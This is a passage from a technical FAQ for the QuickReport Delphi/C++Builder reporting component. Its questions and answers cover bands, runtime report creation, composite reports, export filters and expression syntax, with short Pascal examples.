A. This is happening because you have created the report before the call to QRCreateList. If the report that is passed to QRCreateList is nil, then it is assumed that you want QuickReport to create the entire report for you. If you pass in a report that has already been created, we assume that you have already formatted the report with a title, pageheader, pagefooter, etc, and that you only want QuickReport to create the detail band for you.

------------------

Q. Using QR2 (or later) and trying to call addprintable in the beforeprint event of a band causes a GPF (or an Access Violation). Is this not allowed for some reason?

A. You can only call AddPrintable or otherwise add a control to a report band before you start the report. QuickReport needs to know about all printable controls before it starts the report.

------------------

Q. I am generating report at run time and I have a question: If for example I set QuickReport.HasTitle as true it automatically creates the title band. The problem is that I won't be able to know the name of title variable that was created.

A. You can reference it through the report's bands property like with the following example:

with QuickRep1 do

begin

ReportTitle := 'Sample Report';

Bands.HasTitle := true;

with TQRSysData(Bands.TitleBand.AddPrintable(TQRSysData)) do

begin

Data := qrsReportTitle;

AlignToBand := true;

Alignment := taCenter;

end;

Preview;

end;

This adds a titleband with the report's title centered on the band. You will need to add the quickrpt and qrctrls units to the use list in the unit that has this code.

You can reference each band type that can be set through the HasXXXXX properties from the following list:

TitleBand

PageHeaderBand

ColumnHeaderBand

DetailBand

PageFooterBand

SummaryBand

------------------

Q. If you use the method AddPrintable, how can you access the control that was created?

A. Just assign the control created by AddPrintable to a variable of that type of control. You can then change the top and left properties by referencing that variable.

Example:

var

MyCtrl : TQRSysdata;

.....

MyCtrl := TQRSysData(Bands.TitleBand.AddPrintable(TQRSysData));

with MyCtrl do

begin

Data := qrsReportTitle;

AlignToBand := true;

Alignment := taCenter;

end;

------------------

Q. I get an error when I try to use the QRCreateList example from the manual.

A. You must make sure to set the aReport variable to nil before calling the QRCreateList method. This was omitted from the documentation. The following example shows how to call this method:

procedure TFormMain1.btnCreateListClick(Sender: TObject);

var

aReport : TQuickRep;

SomeFields: TStringList;

MyTable: TTable;

nIdx: integer;

begin

{ Create a table on the fly, this example uses a table from the demo database }

MyTable := TTable.Create(self);

{ create the list of fields to output from the table }

SomeFields := TStringList.Create;

with MyTable do

begin

DatabaseName := 'DBDEMOS';

TableName := 'COUNTRY.DB';

ReadOnly := True;

Active := True;

{ For this example, we will pull the field names from the table }

for nIdx := 0 to FieldCount - 1 do

SomeFields.Add(Fields[nIdx].FieldName);

end;

{ You must set the report object to nil before calling QRCreateList}

areport := nil;

{ Build the report }

QRCreateList(aReport, Self, MyTable, 'Test Listing', SomeFields);

{ You can change the report objects before calling the report }

areport.page.orientation := poLandscape;

{preview or print the report}

aReport.Preview;

{ all done, free the objects }

aReport.Free;

MyTable.Free;

SomeFields.Free;

end;

------------------

Q. How can I change the field width and spacing in a report created with QRCreateList?

A. The width of the fields is calculated by setting the caption of each header to the character 'X', with count coming from the field's DisplayWidth property. The spacing between each field is set to 10. If you change the displaywidth property of a field, it will be reflected in the report.

To change the spacing, you can either modify the source code or change the spacing in the report after you call QRCreateList.

Example:

QRCreateList(aReport, Self, tbCountry, 'Test Listing', SomeFields);

// Now reduce the spacing between each field by 5 (nIdx declared as integer)

for nIdx := 0 to aReport.Bands.ColumnHeaderBand.ControlCount -1 do

if aReport.Bands.ColumnHeaderBand.Controls[nIdx] is TQRPrintable then

with TQRPrintable(aReport.Bands.ColumnHeaderBand.Controls[nIdx]) do

Left := Left - (5 * nIdx);

for nIdx := 0 to aReport.Bands.DetailBand.ControlCount -1 do

if aReport.Bands.DetailBand.Controls[nIdx] is TQRPrintable then

with TQRPrintable(aReport.Bands.DetailBand.Controls[nIdx]) do

Left := Left - (5 * nIdx);

------------------

[Bands]

==================

Q. I have a detail band with 3 stretching QRLabels on them, When the band breaks over a page, I get some of the 1st QRLabel on one page and the rest of that QRlabel with all of the other QRLabels on the next page. Is there any way to get to split all three components over the page?

A. No, this is a limitation of QuickReport. When a band prints, it starts out at it's design time size and prints each component, one by one. If a component can stretch, the band stretches in increments until all of the text has printed. If this happens over a page break, it will print what is already on the band. With three stretching controls, we are not going to be able to print them all at the same time when the band goes over a page break.

You have several options depending on where the data comes. If you can build the text line by line. I would use a subdetail band with 3 single components. You could use the OnNeedData event to loop the subdetail band to print each line. If the band is less than the height of the page, you could run the report in 2 passes and record the stretched length of the band in pass one and use that value to manually size the band on the 2nd pass. There is a Delphi example on our download page named QR3LSD4.ZIP that has most of the code for doing this. Another option would be to put the data in a single RichEdit component and separate the data by tabs. That would print as a single component.

------------------

Q. My report goes out of control when I have child bands attached to the page header.

A. You can not have a page header where the height (including all child bands ) is greater than a page. This is not supported. When the page header prints, the child bands that belong to the page header will be printed. If one of the child bands doesn't fit on the page, it will cause a page break and the page header print code will be called again. This will put the page header code in a recursive loop until the computer runs out of disk space or memory.

------------------

Q. I just added a new subdetail band and it's at the bottom of the report. How do I put it in the correct location?

A. The band order is determined by the band type, it's master property, and it's creation order. If the master property is blank, then the band will be placed at the bottom of the report. If the subdetail band "belongs" to the detail band, then the master property should be set to the report. If it belongs to another subdetail band, set the master property to that band

------------------

Q. I just added a subdetail band to a report that already has a couple of subdetail bands. How can I put the new band above the other ones?

A. If you are trying the subdetail band before another one that has the same value for the master property, the safest way to do this is to view the form as text and cut and the paste the band to the location that you want. The band order is determined by the band type, it's master property, and it's creation order.

------------------

Q. Why does GroupHeader (or Detail) band's BeforePrint event executes before than PageHeader band's BeforePrint event?

A. When the GroupHeader (or Detail) band's BeforePrint event has executed, the report is still on the previous page. After it processes the BeforePrint, it checks to see if the band will fit on the page. f it doesn't fit, a new page is generated and the PageHeader BeforePrint event is called. You can suppress the band from printing with the BeforePrint event, that is why it doesn't do a new page until after the BeforePrint event has run.

------------------

Q. I would like to have a blank row every fifth line. Is there an example on how to do this?

A. A simple way to this is to add a childband to the detailband. In the ChildBand's BeforePrint event, set the PrintBand variable that is passed in the event to true every 5th band and false the rest of the time.

Example:

procedure TfrmBands.ChildBand1BeforePrint(Sender: TQRCustomBand;

var PrintBand: Boolean);

begin

PrintBand := (TQuickRep(Sender.Parent).RecordNumber mod 5) = 0;

end;

------------------

Q. My ColumnHeader bands are not printing when there isn't any data for the report

A. You must have at least one detail band printed to print a column header band.

------------------

Q. I found this Bug in one of my reports, where the Detailband has the height of two lines and the AutoStretch Label is on the first of this lines. So the Band was expanded, still if there was enough room for a second line.

A. This is not a bug, it is designed this way. Our assumption is that if you have extra space below a control, then that space is there for a reason and we expand the band to keep that space. You could increase the height of the control to cover that space and then the band will not increase until that space is used up.

------------------

Q. I have a childband and I set it's PrintBand to false based on certain conditions. When the band doesn't print, QuickReport doesn't check this and will generate a new page is this band would have been the last band on page.

A. QuickReport checks the space required for the next band before the BeforePrint event of that band is processed. There is a simple work around that will resolve this issue. In the BeforePrint event of the previous band (in this case, the detail band), set the height of the child band to 0. You could store the height of the child band in it's Tag property at the same time. In the BeforePrint event of the ChildBand, you would set the height back to original height when you have set PrintBand to True.

------------------

Q. How can I create a report with a Title band to print ABOVE the Page Header band?

A. The print order of the bands is fixed, you can not print a title band above the page header. One work around would be to use a child band with the page header. Put the page header information on the child band and place the title information on the actual page header band. In the Page Header band's BeforePrint event, set PrintBand to false when the report's PageNumber property is greater than 1.

------------------

Q. How do I get the column header for to print right above the detail band when I also have a group band?

A. ColumnBands always printed at the top (after the title and pageheader bands). There are a couple of ways of doing what you are looking for. You could either put the column labels on the group band or on a child band attached to the group band.

------------------

Q. Is there a way to print a band as footer only on the last page of a report.

A. Instead of using a footer band, use a summary band and set it's AlignToBottom property to true.

------------------

Q. When my band is split on two pages, how can I keep the non-stretching text controls on the first page?

A. If you have both stretching and non-stretching components on the same band make sure the non-stretching are printed first (right click and select 'send to back')

------------------

Q. How do I disable the detail band so that I can calculate in the detail section without printing it? I just want the summary band to print.

A. Set PrintBand to false in the band's BeforePrint event. That will suppress the output of the band, but the expressions will still be calculated.

(QR3) NOTE: This behavior changed with QuickReport 3. To emulate the Quick Report 2 code, instead of setting PrintBand to false, set the height of the band to 0 when you want to suppress it and still use it for functions. Just remember to set the height back to the design time height when you do want to print the band.

------------------

Q. How can I add a child band at runtime and fields to it?

A. The way to create a child band is to set the HasChild property of the parent to true. The following code creates a child band and then adds a QRLabel control to the child band

QRGroup1.HasChild := true;

with TQRLabel(QRGRoup1.ChildBand.AddPrintable(TQRLabel)) do

begin

Left := 0;

Top := 0;

Caption := 'Hello there';

end;

------------------

Q. Is there any possibility to extract the fields embedded in a specific band during run-time?

A. The bands are descended from TCustomPanel and you can use the ControlCount property to loop through all of the controls on the band.

For example:

with PageHeaderBand1 do

for nIdx := 0 to ControlCount -1 do

if Controls[nIdx] is TQRLabel then

TQRLabel(Controls[nIdx]).Caption := IntToStr(nIdx);

------------------

Q. We trying to use a QRBand in order to create a 'ColumnFooter' but w/o success. Do you have some tip ?

A. Quickreport does not have a column footer band. One way to get a band to print at the bottom of each page would be to use a page footer band and place QRLabels underneath where each column would be.

------------------

Q. How do I reference the name of a childband created at runtime by setting a band's HasChild property to true?

A. You must create the Childbands before the report starts. All QuickReport bands and controls must exist before the report starts. The easiest way to create a childband is the set the HasChild Property of the parent band to true. You can reference the child band through the Parent band's ChildBand property. The childband will have a blank name property, but you can set that at runtime. The following example shows how to create a childband, add a label to it, and then get the name of that band:

procedure TfrmReport.FormCreate(Sender: TObject);

var

MyChild: TQRChildBand;

begin

QRGroup1.HasChild := true;

with TQRLabel(QRGRoup1.ChildBand.AddPrintable(TQRLabel)) do

begin

Left := 0;

Top := 0;

Caption := 'Hello there';

end;

MyChild := QRGRoup1.ChildBand.Name;

end;

------------------

Q. How do I check the height of a band with stretching controls at runtime?

A. This can not be done with QuickReport 2.0. The ability to retrieve the height of stretching controls will in the 3.0 release (due out later this year).

------------------

Q. Is it possible to have 2 or more PageHeader Bands in same Report ?

A. You can not have multiple PageHeader bands on a report, but there are ways to resolve this. The simplest way would be to add a child band to the page header and put the fields on the child band that would be used for the 2nd page header. You would then use the BeforePrint event of the page header and of it's child to decide at run time which band to print.

------------------

Q. I have a detail band with a child band. I want to change the number and layout of the controls on the child band at runtime, but I get an exception error when I add new controls while the report is running.

A. All bands and the controls on the bands must be created before the report starts, otherwise you will get the exception that you reported.

There are a couple of ways of doing this. One way is to have multiple child bands, each one with a different layout to fit your needs. At run-time, you control which child bands can be output. Just use the BeforePrint event and set the PrintBand variable to false for the ones that you do not want to print.

If you only want one band, put all of the controls on it. and at run time hide the ones that you do not need by setting their Enabled property to false. To have the controls use the enabled property, you must be using version 2.0j or newer.

------------------

Q. I have a report that has about 10 child bands that may or may not get printed depending on run time criteria. This report always prints two pages, even if it only needs one to accommodate the Childbands allowed at run time. Is there a workaround for this?

A. In the report's form create event, set each childband's tag property to it's height value and then set the height to 0. Whenever you set printband to true in the BeforePrint event of a band, set the band's height to the it's tag value. In the AfterPrint event, set the height back to zero again.

------------------

[Barcodes]

==================

Q. Where can I get a barcode component to use with QuickReport?

A. We do not provide a barcode control, but on our download page, there are some links to companies who do barcode controls for QuickReport.

------------------

Q. Where can I find a barcode font that I can use with QuickReport?

A. There are many companies that have barcode fonts, here are a few of them:

CIA (Bar Codes), Wythenshawe, Manchester, UK http://ourworld.compuserve.com/homepages/CIA_UK

Rivers Edge, Cedar Park, TX, USA http://www.riversedge.com

Azalea, Seattle, WA, USA http://www.azalea.com

------------------

[C++Builder]

==================

Q. I can not find any of the C++ source code files to QuickReport.

A. QuickReport is written entirely in Delphi, there are no C++ files in the package. C++Builder has the ability to compile Delphi files directly to .obj and .hpp files.

------------------

Q. I tried to build one the demo projects, only to get errors indicating that the files VCLMID40.bpi and DSS40.bpi could not be found.

A. You will have to remove those references from the project or makefiles (the file with the .BPR extension). C++Builder includes package references from the C++Builder C/S version even though those packages were never referenced by the demo. If that does not work, delete the project file and create a new one using the units from this project.

------------------

Q. I mix Delphi code with C++ code in 3.0.5 and C++Builder 4 and I get an error about qrlabled not being compiled with the quickrpt unit.

A. The 3.0.5 installer copied the qrlabled.* files to the lib directory and they should be in lib. If you manually copy the files in, that will fix the error.

------------------

Q. I just installed QR 3 into C++Builder 4 and I can't link the project that I created with BCB3.

A. Make sure that the project is using qrpt40 as the runtime package instead of the qrpt43c file from BCB3. The QR3 installer will not modify your project files, you may have to manually edit the .bpr files.

------------------

Q. I just installed QR 3 into C++Builder 3 and I can't link the project.

A. Make sure that the project is using qrpt43c as the runtime package instead of the qrtp35 file from QR2. The QR3 installer will not modify your project files, you may have to manually edit the package list and header files used by the project. For C++Builder 4, the package name is qrpt40.bpl.

------------------

Q. I just installed 3.0.5 into C++Builder 4 and the preview's print and print setup buttons are disabled.

A. We have had isolated reports of this and it appears to be related to the precompiled headers feature of C++Builder. Try deleting the vcl40.csm file (or the filename listed under the compiler project options for precompiled headers) from the cbuilder4directory.

Select 'Build with runtime packages' in the program options, and verify that qrpt40.bpl (C++Builder 4) or qrpt43c.bpl (C++Builder 3) is in the corresponding package list. The QR3 installer will not modify your project files, you may have to manually edit the package list and header files used by the project.

------------------

Q. I get an access violation if set the detail band's ForceNewPage property to true at runtime.

A. This can happen if you smart linking enabled. You can either turn off the smart linking or set the property at design time.

------------------

Q. I am trying to write my own Quick Report control using C++Builder 3.0, but I am getting an incorrect value when I try reading the TQRPrinter's FXFactor property? It evaluates as 1.68100026993337964E-4932 when it should be 1.

A. A user did some research on this and discovered BCB 3 thinks that variables of the type extended are 12 bytes (instead of 10 bytes) and is shifting the data by two bytes when an extended variable is used in a class. If you need to use extended variables in Quick Report classes, it may be easier to do that code in Delphi Pascal and just let BCB compile it in.

------------------

Q. I have a project in which I'm using QR2.0i (standard CB3 package). I installed Quick Report 3 and recompiled. The program won't run because of the exception "objectname->Functions.Strings: Property does not exist." I have not changed the code in any way.

A. You will need to check your project make files to make sure that you are not pulling in any QR2 header or object files. The functions property is a property of the TCustomQuickRep class and does not exist in QR2. You would get this message if you tried to compile a form with a QR3 object but used Qr2 header files. You will need to replace any reference to the QR2 package file QRPT35.bpi with qrptc43.bpi.

------------------

Q. Will my Quick Report professional 2.0i work with new C++Builder 3.0 or I should wait for an upgrade from you?

A. The current release will not work with it, but C++Builder 3.0 will come with a version of QuickReport 2 that we have compiled for it. We will post new releases for it after Borland releases 3.0.

------------------

Q. I am trying to use QuickReport with C++Builder, but your documentation and examples are all Delphi based.

A. QuickReport is primarily a Delphi product, we do not have the resources to provide the same level of support to the C++Builder users as we can for Delphi users.

------------------

[Composite Reports and multiple dataset reporting]

==================

Q. How do I make a MDI custom preview that supports the CompositeReport?

A. Custom Previews for CompositeReports can be done in the Delphi version of QuickReport 3. There is a QR3 MDI demo project on our download page. Due to language differences, this fucntionality is not available for C++Builder.

------------------

Q. I have an application that saves a series of reports to the QRP format. I would like to print them all at once as a single print job, is that posible?

A. In the QR3RNGD4.ZIP project on our download page, we have a function named CombineQRP() in the qrqrp.pas unit. The function takes a stringlist of QRP filenames and combines them into a single QRP file. You can then load that file into a preview or the TQRPHandler class for viewing or printing. This can be used as an alternative to the CompositeReport.

------------------

Q. The save button does not work for the export filters in the preview for the composite report.

A. The export filters are not supported by the TQRCompositeReport component. The only work around is to export each report individually.

------------------

Q. What are the steps to load reports and preview composite reports. I add reports to the TList property of QRComposite and then call preview and the preview is empty.

A. You must add the reports in the TQRCompositeReport's OnAddReports event or they will not be picked up.

Example:

procedure TMainForm.QRCompositeReport1AddReports(Sender: TObject);

begin

with QRCompositeReport1 do

begin

Reports.Add(ListForm.QuickRep);

Reports.Add(GrpListForm.QuickRep);

Reports.Add(MDForm.QuickRep);

Reports.Add(ManyGrpForm.QuickRep);

end;

end;

------------------

Q. How can we save a composite report to a file (*.QRP) from source code? (We can not access a QRPrinter object for Composite Report (seems to be declared 'private')).

A. You should be able access the qrprinter by referencing the qrprinter of one of the individual reports in the composite report after you call Prepare.

------------------

Q. Is there a way to set it up so that each individual report making up the composite starts on a new page when that portion goes to print?

A. To get the second (or 3rd...) report to start on a new page, make sure that 2nd report has a title band and in the title band's BeforePrint event, call the NewPage method of the second report. If this report is used outside of the composite report, you will need to disable that code.

------------------

Q. Why wasn't the Composite Report fixed in 2.0 or 3.0?

A. There are problems with TQRCompositeReport that are related to printer settings, header/footer bands, exporting, and a few other issues. If this isn't important to you please use the component as much as you like. The reason for not publishing the fixes is that they require changes to the interface sections of the units/packages and this breaks package dependencies with Delphi and 3rd party packages that use QuickReport.

You can build a single report that would behave like multiple reports. The way you would lay it out would be to leave the detail band empty and set PrintIfEmpty to true. Then add subdetail bands to handle each report. The master property of each band would be set to the report and they would run one after the other. You would use each subdetail band as if it was the detail band for the individual report.

An alternative way would be to use the report's Prepare method and save the report to a .QRP files (example code can be found in our Knowledge Base on our download page.) We have a demo project on our download page named qr3rngd4.zip that has a unit named qrqrp.pas. This unit has a function called CombineQRP() that can take a list of QRP files and generate a single QRP file from them. You can then preview and or print that file with the TQRPHandler class.

------------------

Q. I wish to create a report which lists the contents of two unrelated tables. How do I do this if you can only have one detail band per report?

A. Use multiple subdetail bands, one for each table. Set their Master property to the report. You don't need a detail band, but you will need to set the PrintIfEmpty property of the report to true. Each subdetail band can have nested subdetail bands and group header and footer bands.

------------------

Q. One of the reports in my Composite Report has Landscape Orientation, and the others are Portrait. The report prints everything in Portrait

A. You can not mix landscape and portrait oriented reports with the composite report.

------------------

Q. I'm currently using QuickReports for printing static forms without any report functionality. This works fine for me. Then I try to print multiple forms (multiple TQuickReps) as one print job. Therefore I磎 using the TQRCompositeReport component but if there are no report components on the TQuickReps nothings happens if you try to print or preview. Is there a way to print different static forms as one print job ?

A. The CompositeReport control requires that the reports have their controls on report bands. I was able to print two static reports in a composite report by using a detail band size to fit the page and with the report's PrintIfEmpty set to true.

------------------

Q. In a report I need just to apply a new filter to the qreport dataset and then continue the report. It's like running several reports but "bundled" all together in one preview / report.

A. You can not change the filter on an open dataset, that's a BDE limitation. One way to do this would be to use multiple subdetail bands for each band. Each band could use the same dataset. You would add a group footer band to each dataset. You would close it, change the filter, and the reopen it in the group footer band of the PREVIOUS dataset.

------------------

[Datasets]

==================

Q. Is it possible to exclude the BDE in any of the 2.x versions of QuickReport as one can do with QR1.1a using the line: {$define XBDE}? If so, which 2.x version?

A. QuickReport 2 does not have the XBDE compiler directive that was in QuickReport 1. If you are using Delphi 2 or later, this should not be a problem, as the BDE does not get initialized until the first time that it's called. If you are using Delphi 1, the only alternatives are to either include the BDE or to use QuickReport 1.

------------------

Q. I am getting the error "Unable to locate source file "quickrpt.pas" and after that EBDEngineError "Table does not support this operator"

A. There appears to be a bug in the BDE that allows datasets to make a call to the RecordCount property when that value is not supported by all databases. We have yet to find a satisfactory work around that works for all databases. You can manually edit the quickrpt unit and comment out the call that causes this exception.

Copy the quickrpt.pas to your project directory.

Look for the line that contains "RecCount := ParentReport.RecordCount;" in the quickrpt unit (the location of the line in the unit will vary depending on which release of QR2 you are using) and comment it out.

Recompile your report (you don't need to add the quickrpt unit to your project, Delphi will find it).

Even though there is a try..except block in our code, Delphi is still throwing an exception. If you modify this code in the quickrpt unit and comment out the code in the if DataSetOK block, you will no longer get that error.

------------------

[DLLs and ActiveX]

==================

Q. I'm passing a dataset to a report in a DLL and none of the TQRExpr controls are displaying data.

A. The TQRExpr control checks the type of the dataset field. When you pass a dataset to a report in a dll, the runtime type information (RTTI) is not available and the TQRExpr control can't check the data type.

------------------

Q. Is there any known problems using Quick Report in a Delphi 2 (or 3) DLL??Each time I am finished and make a call to FreeLibrary() from my calling application, the calling application freezes.

A. There is a known problem unloading a Quick Report dll, something is not being freed and that's why your call to FreeLibrary hangs.

The simplest solution is to add QuickRpt and QRprntr (and possibly QRextra) units to the uses clause of the calling app's project source unit. This way the QR dll's are already loaded and the dll will simply increase/decrease the reference count as it is loaded/freed.

------------------

Q. Where is the ActiveX component that is mentioned on your web page?

A. We still have some remaining issues to fix with the ActiveX component before we can release it.

------------------

Q. I think I have installed version QuickReport 3 correctly with Delphi 3, and it prints short reports if I call the PRINT command. If I use preview however, I receive a "Control has no parent window error" when I press the print button. I didn't have this problem with Version 2.0K.

A. The DLL needs a reference to the calling application so that the DLL's forms are children of the application. Please see the Delphi help page for TApplication.Handle.

------------------

[Documentation and help files]

==================

Q. I like to have the manual loaded, but Word takes up a lot of resources

A. We have an Adobe Acrobat version of the QuickReport 2 manual available via FTP from ftp://ftp.qusoft.no/pub/quickrep/qr2acro.zip

------------------

Q. I don't find information on TQRCompositeReport.

A. Documentation for the TQRCompositeReport will be included in a later release. There are a few programming issues that still need to be fixed for the Composite Reports and we will release the documentation after they have been resolved. The example demo program included with QuickReport 2 does use the CompositeReport so you can follow that if you wish to work with the CompositeReports before we release the update.

-----------

Q. I cannot find information about Options Property for TQuickRep

A. The first options (FirstPageHeader, LastPageFooter) are self describing. If the FirstPageHeader is set to false, then the page header will not be printed on the first page. LastPageFooter works in a similar manner If the Compression property is set to true, then a simple compression routine is used on the internal metafile storage of a rendered report.

Please note that a bug was introduced in Delphi 3.02 that prevents compressed QRP files from being loaded.

------------------

Q. How does the OnPrint event work?

A. The OnPrint event is called just before the control is printed. The string to be outputted is in the Value property and can be changed. This property is also useful to suppress printing of repeated values. This event only gets called at runtime, the design time preview will not call any of the event handlers.

------------------

Q. How do I install the help files into Delphi 3's integrated help?

A. 1. Copy the file QUICKRPT.HLP into the HELP directory under the Delphi 3 main directory.

2. Add the line

:Link quickrpt.hlp

to the "Third-Party Help" section at the bottom of the DELPHI3.CFG file located in the Delphi HELP directory.

3. Delete the hidden file Delphi3.GID in the HELP directory.

The next time you launch the Delphi 3 help, it will rebuild the delphi3.gid file and the QuickReport help file will be in the integrated help. Please note that this help file is not complete and will not have support for all controls. This will addressed in the 3.0 release.

------------------

[Exporting reports]

==================

Q. What is the best way to import pages from a report into a PowerPoint slide show?

A. Is you use the WMF export filter, PowerPoint can import the files with all of the formatting intact.

------------------

Q. Could you please tell me how to save a report with a qrp extension instead of printing or previewing it

A. You would call the report's prepare method to create the report. Then use the report's qrprinter.save method to save the file, and finally free the qrprinter object of the report.

Example:

quickrep1.Prepare;

quickrep1.qrprinter.Save('c:.qrp');

quickrep1.qrprinter.Free;

quickrep1.qrprinter := nil;

------------------

Q. I am writing a printable component for QuickReport 3 (using C++ Builder3) to display a schedule. I was wondering what needs to be done to make the printable component have the ability to export to the various export filters. Currently when I try to export to any filter other than wmf it exports to a blank file.

A. You would need to add code in your component's Print method that checks the report's Exporting property and call the report's ExportFilter->TextOut() function with the text to be printed. All of our code is in Delphi, but you should be able to do this with BCB3. In the source code for the qrctrls.pas unit, look at the PrintLine procedure, it show how we pass the text to the export filter for our standard text components.

------------------

Q. (QR3) When I add QR Filters to existing reports, I get duplicates in the file type drop down in the Save As ... dialog. How do I avoid/eliminate this?

A. How are you adding the filters? This can happen if you have multiple copies of a filter component, either on one form or multiple forms. If you place the filter components only on the main form, that makes it easier to prevent duplicates.

------------------

Q. How do I save a report to a QRP file in code?

A. You would use the report's QRPrinter.Save method to save a file in the QRP format. Save can be called after a report have been generated by Preview or Prepare.

------------------

Q. Is there any way to combine QRP files into a single QRP?

A. There is a demo project on our download page named QR3RNGD4.ZIP and it has a unit named qrqrp.pas. That unit contains a function named CombineQRP() for combining multiple QRP files ((as long as they all use the same page size and orientation)) to a single QRP file. You just pass in the new file name and a stringlist of existing QRP files, and it combines them.

------------------

Q. How do I call the Quick Report 3 export filters outside of the preview?

A. To call a filter explicitly you would use syntax like:

quickrep1.ExportToFilter(TQRXLSFilter.Create('c:.xls'));

Other filters:

HTML: TQRHTMLDocumentFilter

ASCII: TQRAsciiExportFilter

CSV: TQRCommaSeparatedFilter

RTF: TQRRTFExportFilter

WMF: TQRWMFExportFilter

------------------

Q. The output from RTF export filter looks odd when loaded into a TRichEdit control. If I load it into Word 97, it looks more like the report.

A. The RTF export filter was written to the MS RTF specification, version 1.5. I am not familiar with a control named TRichTextBox, but the files generated by this filter can be read by TRichEdit. TRichEdit does not fully support the RTF command sequence and it will not display RTF files with same accuracy as MS Word. For example, TRichEdit does not support right alignment.

------------------

Q. The output from the export filters does not match the preview's layout.

A. The export filter layout is a best fit approximation. You are taking controls that can be arranged anywhere on a band and sending them to a format that is not as flexible. You can get better results for the filters by changing the layout of the fields and/or their font property. The report has a boolean property, Exporting, that will be set to true when an export filter is running. You can add code in the BeforePrint event of the report to check this property if you want to make changes that would only take affect when exporting a report. If you are using proportional spaced fonts, the layout from the ASCII export filter is going to be a poor match. You will want to use a mono spaced font like Courier New instead of Arial for the controls. You could also set the font's Pitch to fpFixed and let Windows substitute the font for you.

------------------

Q. How do I use the WMF export filter outside of the preview?

A. The WMF export filter works differently than the other filters. The other export filters render the report using the filter. The WMF filter takes the pages rendered to the preview and saves each page as a metafile. To use this filter outside of the preview, you have to render the report first using Prepare.

Example:

quickrep1.Prepare;

quickrep1.qrprinter.ExportToFilter(TQRWMFExportFilter.Create('c:'));

quickrep1.qrprinter.Free;

quickrep1.qrprinter := nil;

Please note that the file named extension is picked by the Enhanced property to the export filter. EMF if it's True, WMF if it's false.

------------------

Q. When I export my report to the TXT export filter, I lose the TQRRichText fields

A. The TQRRichText, TQRDBRichText, TQRShape, TQRImage, TQRDBImage controls are not supported for the export filters (except for the WMF filter). One workaround would be to use a TQRDBText control for the RTF data and enable it (and disable the RTF control) when the report's Exporting property is set to true.

------------------

Q. I want to change the layout of the report when it is being saved with export filter, is there a way to determine when a report is being exported?

A. When an export filter is being used, the report's Exporting property will be set to true. Some of the current export filters have problems lining up columns when the column header's controls have a different alignment than the controls on the detail band. You can check the Exported property in the report's BeforePrint event and change the appearance of the controls based on that value.

------------------

Q. PrintPreview & Print work OK until I use ExportToFilter after which PrintPreview & Print do not produce output.

A. This was a known bug and was address in the 2.0j release

------------------

Q. When I try to export a previously saved report (a .QRP file), nothing happens.

A. Quickreport can only export reports when they are being generated. The .QRP saved file consists of a list of metafiles, one for each page. There is no way to take the data out of the metafile and export to another format.

------------------

Q. How do I get all of the export filters to show in the save dialog in my preview?

A. (QR2 only) Add the qrextra and qrhtml units to your report's uses clause and the filters in those units will show up at runtime.

(QR3) Just drop the export filter components on the main form of your application.

------------------

Q. How do I use the HTML export filter?

A. The export filter topics start at page 98 in the manual, under the topic "ExportFilter". The HTML filter is an add-on and you will need to add qrextra and qrhtml to your uses clause (and the QuickRep source directory will need to be on your library search path. You would call the HTML filter like this:

QuickRep1.ExportToFilter(TQRHTMLExportFilter.Create('file.htm'));

------------------

[Expressions and user functions]

==================

Q. I have been trying to use a summed expression in the summary band to calculate percentages in the detail band without success. I am trying to calculate and print each customer sales as a percentage of the the total sales for the report

A. You will not be able to do that unless you have the total first. The detail band prints as it reaches each record in the dataset, the total is not known until you have reached all of the records. You could do this by using a TQuery that just returned the total and use that field in your expression.

------------------

Q. How do you use Date and Time fields with the TQRExpr component? The IF() function has the wrong result when I compare date fields.

A. Date and Time fields are handled by QuickReport as strings, the IF() function can only handle strings or numbers. There are a few ways of around this. One way would be to add a calculated field to the dataset. That field would just be the date field's AsFloat property. You could then use IF() and compare it to the double value of the date that wish to compare it to. A variation would be to use a calculated string field that would return the data as a string in the format 'YYYY-MM-DD' using the FormatDateTime function. You could then use IF() to do a string compare of the dates. You could also bypass the TQRExpr component altogether and use a TQRLabel and set it's value with it's OnPrint event.

------------------

Q. Fields that have a period in the fieldname that are placed on a report via the QuickReport Wizard results in "Unknown function".

A. This is an open issue and the workaround is: Via the Object Inspector, go into the Expression Wizard and select the field so you have "Table1.F_ADT1.F_CHARL1" instead of "[F_ADT1.F_CHARL1] ".

------------------

Q. I tried changing the expression property of a TQRExpr component in the BeforePrint event of the detail band but it did not work.

A. The Expression property of the TQRExpr and TQRGroup components is read only the beginning of the report and can not be changed while the report is running. You can use the OnPrint event to override the output of the TQRExpr component.

------------------

Q. How can we Round Off a number, like to 2 decimal places?

A. We do not have a rounding function, but this is easy to emulate. Add 0.05 to the value, then multiply the value by 100, use the INT() function to truncate the decimal point, then divide by 100.0

------------------

Q. Can I test for multiple conditions with the SUM() function?

A. You would need to wrap the expressions in parenthesis like: SUM(IF(((PayType1='C') And (PayType2='N')), tPayments.PayValue,0.0))

------------------

Q. How can I do an IF() function for a field that has single quotes around it?

A. At design time you would enter into the Object inspector something like: IF(MyField=''SomeValueInSINGLEQuotes'', 1, 0)

In code you would syntax like QRExpr.Expression := 'IF(MyField='#39#39'SomeValueInSINGLEQuotes'#39#39', 1, 0)';

------------------

Q. I have a report with a TQRGroup,a DetailBand and a GroupFooter band. I want to sum certain values in the GroupFooter for each Group. The problem is that it doesn't sum within the group. It just keeps increasing the values until the end of the report. I don't get the sum for each group.

A. You will need to set the ResetAfterPrint property to true for the TQRExpr control that you are using on the GroupFooter.

------------------

Q. I am trying use the SUM() function inside the IF() function to do a conditional sum, but the control just prints the expression text. My expression is IF(Table1.PUR_PRICE>40, SUM(Table1.PUR_PRICE), '').

A. IOU are missing the 3rd parameter to the IF function and all three parameters are required. Try using an blank string ('') as the 3rd parameter.

Example: SUM(IF(COPY(Table1.pos,1,1)='M',table1.Price,0.0))

This would sum the table1.Price field for the current record if the Table1.pos starts with the letter "M". If the Table1.pos field did not start with "M", that record would not be included in the SUM() function.

------------------

Q. I would like to summarize the number of times a non numeric value repeats in a table (without making a new sqlquery like "select count(xxx) where xxx = 'yyy')

A. You can embed functions in other functions. You can use the IF() function in the SUM() function to sum the number of times a value appears in the dataset. The following expression will return the number of records where the state = 'HI', SUM(IF(Customers.State='HI', 1, 0))

------------------

Q. With the TQRExpr control, the expression -3*4 evaluates to 12 instead of -12

A. This is bug in QuickReport 2 (fixed in QuickReport 3) and the work around would be to use the expression (0-3)*4, which will give the correct value.

------------------

Q. When I create a report from the Delphi menu (File/New/Report), the QRExpr control does not find all of the datasets on that report.

